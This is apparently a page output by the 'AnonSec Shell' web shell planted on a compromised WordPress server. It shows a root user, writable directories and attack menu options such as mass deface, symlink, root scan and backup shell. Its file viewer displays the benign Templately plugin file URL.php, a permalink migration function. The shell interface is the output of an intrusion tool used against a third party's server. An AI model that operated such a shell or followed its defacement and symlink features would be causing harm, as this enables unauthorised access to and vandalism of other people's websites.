AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.144.26.126   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/templately/includes/Core/Importer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/templately/includes/Core/Importer/URL.php
<?php

namespace Templately\Core\Importer;


/**
 * Originally made by Elementor
 */

class URL {

	/**
	 * Migrate url to the current permalink structure.
	 * The function will also check and change absolute url to relative one by the base url.
	 * This is currently supports only "Post Name" permalink structure to any permalink structure.
	 *
	 * @param string $url The url that should be migrated.
	 * @param string|Null $base_url The base url that should be clean from the url.
	 *
	 * @return string The migrated url || the $url if it couldn't find a match in the current permalink structure.
	 */
	public static function migrate( string $url, $base_url = '' ): string {
		$full_url = $url;

		if ( ! empty( $base_url ) ) {
			$base_url = preg_quote( $base_url, '/' );
			$url = preg_replace( "/^{$base_url}/", '', $url );
		}

		$parsed_url = wp_parse_url( $url );

		if ( $url === $full_url && ! empty( $parsed_url['host'] ) ) {
			return $full_url;
		}

		if ( ! empty( $parsed_url['path'] ) ) {
			$page = get_page_by_path( $parsed_url['path'] );

			if ( ! $page ) {
				return $full_url;
			}

			$permalink = get_permalink( $page->ID );
		}

		if ( empty( $permalink ) ) {
			return $full_url;
		}

		if ( ! empty( $parsed_url['query'] ) ) {
			parse_str( $parsed_url['query'], $parsed_query );

			// Clean WP permalinks query args to prevent collision with the new permalink.
			unset( $parsed_query['p'] );
			unset( $parsed_query['page_id'] );

			$permalink = add_query_arg( $parsed_query, $permalink );
		}

		if ( ! empty( $parsed_url['fragment'] ) ) {
			$permalink .= '#' . $parsed_url['fragment'];
		}

		return wp_make_link_relative( $permalink );
	}
}

Anon7 - 2022
AnonSec Team